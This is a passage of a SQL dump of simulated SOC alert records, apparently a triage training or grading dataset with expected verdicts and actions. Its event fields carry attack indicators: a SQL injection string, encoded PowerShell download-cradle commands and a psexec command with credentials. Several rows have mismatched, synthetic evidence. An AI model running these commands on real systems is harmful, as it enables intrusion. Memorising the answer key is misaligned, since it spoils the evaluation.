address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"172.16.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Payload is part of a routine data transfer\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The traffic and encoded payload were initially suspicious but were confirmed to be part of routine operations.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.038Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:10:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"172.16.0.10\\\",\\\"dst_ip\\\":\\\"172.16.0.15\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"data-node\\\",\\\"request_body\\\":\\\"VGhpcyBpcyBhIHJvdXRpbmUgZGF0YSB0cmFuc2Zlci4=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1704, 'PowerShell Download Cradle Detected', 'critical', 'CrowdStrike', 'A PowerShell download cradle was detected executing an encoded script on an internal host. This indicates potential malware delivery or execution.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:25:14Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-PC-01\",\"command_line\":\"powershell.exe -EncodedCommand ZQBjAGgAbwAgACcASABlAGwAbABvACcA\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZQBjAGgAbwAgACcASABlAGwAbABvACcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution indicating potential malware activity\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell encoded command indicates a likely malware execution attempt, requiring immediate isolation and investigation.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1705, 'Process Hollowing Detected in Explorer.exe', 'high', 'SentinelOne', 'Anomalous process behavior detected. Explorer.exe is exhibiting process hollowing behavior, which is commonly associated with malware.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:50:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.12\",\"dst_ip\":\"\",\"username\":\"asmith\",\"hostname\":\"WORKSTATION-22\",\"command_line\":\"explorer.exe\",\"file_hash\":\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious process hollowing activity\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash and process behavior are indicative of process hollowing, a technique used by malware to hide malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.042Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:32Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.12\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"WORKSTATION-22\\\",\\\"command_line\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"3e2fbf5c0d8b1c8c9f4e4a8a2f3d9b8c\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1706, 'Suspicious PowerShell Execution', 'medium', 'Carbon Black', 'A PowerShell script executed with suspicious parameters, potentially indicating an attempt to download or execute unauthorized content.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:15:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"mbrown\",\"hostname\":\"DEV-SERVER-01\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the development server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution with bypass policy is suspicious but common in legitimate scripts\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution policy bypass is common during legitimate script testing on development servers.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1707, 'Web Request with SQL Injection Payload', 'critical', 'Sysmon', 'Detected an incoming web request containing a SQL injection payload targeting a vulnerable URL.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:05:22Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.20\",\"username\":\"\",\"hostname\":\"\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"patch_vulnerability\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The SQL injection payload indicates a direct attempt to exploit database vulnerabilities, requiring immediate intervention.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1708, 'Unusual Internal Lateral Movement Detected', 'high', 'CrowdStrike', 'Detected lateral movement within the network using PSExec, possibly indicating a compromised internal account.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-14T23:30:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.35\",\"dst_ip\":\"192.168.1.40\",\"username\":\"jdoe\",\"hostname\":\"CORP-SRV-03\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.40 -u admin -p password cmd\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the source machine initiating PSExec\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.40 -u admin -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of PSExec with hardcoded credentials indicating potential lateral movement\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with hardcoded credentials for lateral movement is a strong indicator of malicious internal activity.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1709, 'Malicious Email URL Detected', 'medium', 'Proofpoint', 'An email was received containing a URL known to host phishing content, targeting the recipient to steal credentials.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:45:11Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.45\",\"dst_ip\":\"\",\"username\":\"j.smith@example.com\",\"hostname\":\"\",\"email_sender\":\"fraudulent@phishingsite.com\",\"url\":\"http://malicious-url.com/login\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"fraudulent@phishingsite.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-url.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing content aimed at credential harvesting\"}}],\"expected_actions\":[\"block_url\",\"alert_user\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL and sender email are both indicative of a phishing attempt, requiring immediate action to prevent credential theft.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Email URL Detected\",\"date\":\"2026-03-15T20:58:16.051Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1710, 'Failed Login Attempts from Foreign IP Address', 'medium', 'Firewall', 'Multiple failed login attempts detected from an external IP address, potentially indicating a brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T04:20:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.5\",\"username\":\"admin\",\"hostname\":\"MAIL-SERVER\",\"failed_attempts\":5}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP listed for suspicious activity, but not confirmed for malicious intent\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the mail server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in login attempts\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts is relatively low, suggesting an incorrect configuration or a user error rather than a targeted attack.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1711, 'PowerShell Download Cradle with Encoded Script Execution', 'critical', 'CrowdStrike', 'A PowerShell download cradle was detected executing an encoded script from a suspicious external IP, indicating a potential malware attack.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"WORKSTATION-01\",\"command_line\":\"powershell.exe -EncodedCommand aW1wb3J0LXNlc3Npb24gJ2h0dHBzOi8vZXhhbXBsZS5jb20vc2NyaXB0LnBzMSc=\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for distributing malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aW1wb3J0LXNlc3Npb24gJ2h0dHBzOi8vZXhhbXBsZS5jb20vc2NyaXB0LnBzMSc=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for malicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal company 